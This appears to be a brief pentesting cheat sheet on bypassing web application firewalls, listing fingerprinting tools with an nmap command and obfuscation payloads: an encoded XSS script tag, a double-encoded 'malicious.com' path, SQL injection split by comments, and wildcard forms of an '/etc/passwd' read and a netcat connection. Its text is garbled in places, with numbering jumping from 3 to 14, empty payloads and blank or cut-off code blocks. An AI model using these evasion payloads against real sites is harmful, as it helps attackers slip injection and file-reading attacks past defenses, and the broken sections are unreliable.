# WAF Bypass
If WAF present , You will be blocked by visiting url like, [https://example.com/?p4yl04d3=\](https://example.com/?p4yl04d3=)
## Detection Methods
* **Signature-based Detection:** Matches incoming traffic against known attack patterns.
* **Behavioral Analysis:** Observes traffic behavior for anomalies that may indicate an attack.
* **Rule-based Detection:** Applies predefined rules to block suspicious activity.
## Identifying
1. HTTP Response Headers
```
Server, X-Powered-By, or X-Security
```
2. Error Messages
3. Behavioral Analysis
## Tools for Identify
1. wafw00f
2. whatwaf
3. nmap
```bash
nmap --script=http-waf-fingerprint,http-waf-detect -p443 example.com
```
## Obfuscation Technique
### 1. URL Encoding
Original payload: `''`
URL-encoded: `'%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E`
### 2. Double Encoding
Double-encoded payload: `'%252F%252Fmalicious.com'`
### 3. Unicode Encoding
Unicode for `'`
Obfuscated payload: `'alert(1)'`
### 14. Comment technique
```
/?id=1+un/**/ion+sel/**/ect+1,2--
```
### 15. Wildcard Obfuscation Technique
`/etc/passwd` : `/???/??ss??`
`/bin/nc 127.0.0.1 443` : `/???/n? 2130706433 443`
### 16. Junk Characters
```html
```
### 17. Line Breaks
```html